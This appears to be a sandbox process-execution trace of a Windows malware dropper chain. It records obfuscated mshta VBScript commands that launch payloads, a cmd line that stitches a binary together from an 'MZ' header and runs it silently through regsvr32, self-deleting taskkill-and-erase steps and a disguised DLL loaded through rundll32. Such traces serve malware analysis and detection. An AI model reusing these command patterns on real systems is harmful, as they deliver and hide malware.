C:\Users\Admin\Pictures\Adobe Films\VYL3YWrLhEIj01vahFK8aBIH.exe"C:\Users\Admin\Pictures\Adobe Films\VYL3YWrLhEIj01vahFK8aBIH.exe"5⤵PID:720
-
-
C:\Users\Admin\Pictures\Adobe Films\BMBcZ_HnFaWvmqe5PxZhPqYP.exe"C:\Users\Admin\Pictures\Adobe Films\BMBcZ_HnFaWvmqe5PxZhPqYP.exe"5⤵PID:2780
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵PID:492
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2780 -s 5326⤵
- Program crash
PID:4092
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ovC_aqrYenwdEcQAjgHuedai.exe"C:\Users\Admin\Pictures\Adobe Films\ovC_aqrYenwdEcQAjgHuedai.exe"5⤵PID:4376
-
C:\Users\Admin\Pictures\Adobe Films\ovC_aqrYenwdEcQAjgHuedai.exe"C:\Users\Admin\Pictures\Adobe Films\ovC_aqrYenwdEcQAjgHuedai.exe"6⤵PID:6036
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14773c6ddc763638.exe3⤵PID:1576
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14773c6ddc763638.exeWed14773c6ddc763638.exe4⤵
- Executes dropped EXE
PID:2452 -
C:\Users\Admin\AppData\Local\Temp\is-UMR7H.tmp\Wed14773c6ddc763638.tmp"C:\Users\Admin\AppData\Local\Temp\is-UMR7H.tmp\Wed14773c6ddc763638.tmp" /SL5="$80074,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14773c6ddc763638.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3496 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14773c6ddc763638.exe"C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14773c6ddc763638.exe" /SILENT6⤵PID:1296
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed146cd9abbf86.exeWed146cd9abbf86.exe /mixtwo1⤵
- Executes dropped EXE
PID:952 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wed146cd9abbf86.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed146cd9abbf86.exe" & exit2⤵PID:4796
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wed146cd9abbf86.exe" /f3⤵
- Kills process with taskkill
PID:4776
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-OQ7UH.tmp\Wed14773c6ddc763638.tmp"C:\Users\Admin\AppData\Local\Temp\is-OQ7UH.tmp\Wed14773c6ddc763638.tmp" /SL5="$201F2,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14773c6ddc763638.exe" /SILENT1⤵PID:3308
-
C:\Users\Admin\AppData\Local\Temp\is-K5HTI.tmp\winhostdll.exe"C:\Users\Admin\AppData\Local\Temp\is-K5HTI.tmp\winhostdll.exe" ss12⤵PID:4932
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIpT: cLOse ( CReateobJeCT ( "wSCRIPT.shElL" ).rUn("CmD.EXE /Q /R COPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed143f08e2d21bc4.exe"" ..\gIzR.EXE && sTaRT ..\GiZR.exE /PcMPF0HRtawml6 & if """"=="""" for %H IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed143f08e2d21bc4.exe"" ) do taskkill /IM ""%~nXH"" -F " , 0 , TRUe ) )1⤵PID:2908
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R COPY /y "C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed143f08e2d21bc4.exe" ..\gIzR.EXE &&sTaRT ..\GiZR.exE /PcMPF0HRtawml6& if ""=="" for %H IN ("C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed143f08e2d21bc4.exe" ) do taskkill /IM "%~nXH" -F2⤵
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Users\Admin\AppData\Local\Temp\gIzR.EXE..\GiZR.exE /PcMPF0HRtawml63⤵PID:2700
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIpT: cLOse ( CReateobJeCT ( "wSCRIPT.shElL" ).rUn("CmD.EXE /Q /R COPY /y ""C:\Users\Admin\AppData\Local\Temp\gIzR.EXE"" ..\gIzR.EXE && sTaRT ..\GiZR.exE /PcMPF0HRtawml6 & if ""/PcMPF0HRtawml6""=="""" for %H IN ( ""C:\Users\Admin\AppData\Local\Temp\gIzR.EXE"" ) do taskkill /IM ""%~nXH"" -F " , 0 , TRUe ) )4⤵PID:2248
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R COPY /y "C:\Users\Admin\AppData\Local\Temp\gIzR.EXE" ..\gIzR.EXE &&sTaRT ..\GiZR.exE /PcMPF0HRtawml6& if "/PcMPF0HRtawml6"=="" for %H IN ("C:\Users\Admin\AppData\Local\Temp\gIzR.EXE" ) do taskkill /IM "%~nXH" -F5⤵PID:4192
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( cREATEObjECt( "wsCriPt.SheLl" ). RUN ("C:\Windows\system32\cmd.exe /Q /r eCHo | sET /p = ""MZ"" > VT51YC.KVI & COPY /B /y VT51Yc.kVI+ J65_Od.QY +NWaWqI_.3Fi ..\NDa1ijTf.2TN & sTart regsvr32.exe -U ..\NDa1iJTf.2tN /s & dEl /q * " , 0 , tRUE) )4⤵PID:4244
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /r eCHo | sET /p = "MZ" > VT51YC.KVI & COPY /B /y VT51Yc.kVI+ J65_Od.QY +NWaWqI_.3Fi ..\NDa1ijTf.2TN &sTart regsvr32.exe -U ..\NDa1iJTf.2tN /s & dEl /q *5⤵PID:6080
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHo "6⤵PID:5672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /p = "MZ" 1>VT51YC.KVI"6⤵PID:5836
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe -U ..\NDa1iJTf.2tN /s6⤵PID:5220
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Wed143f08e2d21bc4.exe" -F3⤵
- Kills process with taskkill
PID:956
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5096 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:568
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4996
-
C:\Users\Admin\AppData\Local\Temp\FD91.exeC:\Users\Admin\AppData\Local\Temp\FD91.exe1⤵PID:5160